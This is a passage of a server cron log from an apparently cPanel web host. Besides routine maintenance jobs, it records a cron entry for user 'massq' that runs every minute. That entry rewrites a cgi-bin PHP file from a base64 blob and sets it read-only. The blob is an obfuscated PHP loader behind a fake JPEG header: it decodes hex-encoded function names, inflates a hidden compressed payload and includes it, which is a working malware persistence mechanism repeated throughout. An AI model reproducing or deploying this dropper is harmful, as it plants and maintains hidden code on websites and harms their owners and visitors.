SkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:07:01 server CROND[19032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:08:01 server CROND[19092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:09:01 server CROND[19165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:09:01 server CROND[19166]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 18:10:01 server CROND[19233]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 18:10:01 server CROND[19234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:10:01 server CROND[19235]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 18:10:01 server CROND[19236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 18:11:01 server CROND[19376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:12:01 server CROND[19528]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 18:12:01 server CROND[19529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:13:01 server CROND[19636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:14:01 server CROND[19698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:15:01 server CROND[19779]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 18:15:01 server CROND[19781]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 10 18:15:01 server CROND[19784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 18:15:01 server CROND[19786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:15:01 server CROND[19787]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 10 18:16:01 server CROND[19945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:17:01 server CROND[20020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:18:01 server CROND[20178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:19:01 server CROND[20246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:20:01 server CROND[20303]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 18:20:01 server CROND[20304]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 18:20:01 server CROND[20306]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 18:20:01 server CROND[20305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
